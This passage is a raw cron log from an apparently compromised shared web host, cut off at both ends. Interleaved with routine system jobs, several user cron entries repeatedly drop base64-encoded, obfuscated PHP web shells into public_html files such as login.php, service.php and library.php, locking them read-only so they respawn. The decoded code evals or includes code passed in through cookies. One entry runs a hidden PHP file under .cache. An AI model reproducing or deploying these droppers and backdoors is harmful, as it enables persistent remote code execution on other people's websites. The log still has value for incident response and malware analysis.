keVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:36:01 medusa CROND[30152]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 07:36:01 medusa CROND[30156]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 07:36:01 medusa CROND[30157]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 07:36:01 medusa CROND[30159]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:36:01 medusa CROND[30158]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:36:01 medusa CROND[30160]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:37:01 medusa CROND[32047]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 07:37:01 medusa CROND[32055]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 07:37:01 medusa CROND[32054]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:37:01 medusa CROND[32056]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Jun  7 07:37:01 medusa CROND[32057]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 07:37:01 medusa CROND[32058]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 07:37:01 medusa CROND[32061]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 07:37:01 medusa CROND[32062]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:37:01 medusa CROND[32064]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 07:37:01 medusa CROND[32067]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 07:37:01 medusa CROND[32068]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:37:01 medusa CROND[32070]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:37:01 medusa CROND[32076]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 07:38:01 medusa CROND[1580]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 07:38:01 medusa CROND[1581]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:38:01 medusa CROND[1582]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:38:01 medusa CROND[1585]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcn